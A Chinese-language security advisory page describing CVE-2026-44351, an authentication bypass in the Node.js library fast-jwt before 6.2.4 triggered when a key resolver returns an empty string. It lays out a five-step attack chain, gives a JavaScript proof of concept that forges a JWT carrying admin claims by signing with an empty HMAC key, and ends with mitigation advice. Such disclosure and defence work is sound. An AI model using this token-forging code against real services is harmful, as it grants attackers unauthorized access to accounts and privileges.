IPBUF安全漏洞报告
English
CVE-2026-44351 CVSS 9.1 严重

CVE-2026-44351 fast-jwt认证绕过漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2026-44351
漏洞类型
认证绕过
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
fast-jwt

相关标签

认证绕过JWTfast-jwtHMACNode.js

漏洞概述

fast-jwt 在 6.2.4 之前的版本中存在严重的认证绕过漏洞。当应用的密钥解析器返回空字符串时,fast-jwt 会将其视为零长度 Buffer 进行 HMAC 验证。攻击者可利用此机制伪造任意 JWT 令牌,从而在不提供有效凭证的情况下通过身份验证,完全接管用户权限。

技术细节

该漏洞的核心在于 fast-jwt 对异步密钥解析器返回值的处理不当。当解析器返回空字符串(通常发生在 JWKS 密钥未找到时的默认回退),fast-jwt 会将其转换为 Buffer 并调用 `crypto.createSecretKey`,进而允许使用 HS256 等算法进行签名验证。攻击者利用 Node.js 允许空密钥进行 HMAC 计算的特性,只需用空密钥对精心构造的 Header 和 Payload 进行签名,即可生成合法的 JWT。由于服务端也使用空密钥验证,伪造的令牌会被接受,导致严重的身份认证绕过风险。

攻击链分析

STEP 1
侦察
识别使用 fast-jwt 库且版本低于 6.2.4 的目标应用,并确认其使用了异步密钥解析器。
STEP 2
漏洞分析
确认密钥解析器在特定情况下(如无效 kid)会返回空字符串,导致应用使用空密钥进行验证。
STEP 3
构造 Payload
攻击者创建包含恶意权限声明的 JWT Header 和 Payload(例如设置 admin 为 true)。
STEP 4
生成签名
攻击者使用空字符串作为密钥,通过 HMAC-SHA256 算法对 Header 和 Payload 进行签名。
STEP 5
利用
将生成的恶意 JWT 发送给服务端,服务端使用空密钥验证通过,攻击者成功绕过认证。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
const crypto = require('crypto'); // Malicious payload const header = JSON.stringify({ alg: 'HS256', typ: 'JWT' }); const payload = JSON.stringify({ sub: 'admin', role: 'superuser' }); // Encode to Base64Url const base64UrlEncode = (str) => Buffer.from(str).toString('base64').replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, ''); const encodedHeader = base64UrlEncode(header); const encodedPayload = base64UrlEncode(payload); const data = `${encodedHeader}.${encodedPayload}`; // Calculate signature with empty key (The vulnerability) const signature = crypto.createHmac('sha256', '').update(data).digest('base64').replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, ''); const forgedJWT = `${data}.${signature}`; console.log('Forged JWT:', forgedJWT);

影响范围

fast-jwt < 6.2.4

防御指南

临时缓解措施
如果无法立即升级,请检查应用代码中的密钥解析器逻辑。确保当无法根据 kid 找到对应密钥时,抛出错误而不是返回空字符串。同时,在验证 JWT 时显式指定允许的算法列表,防止意外的算法协商。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表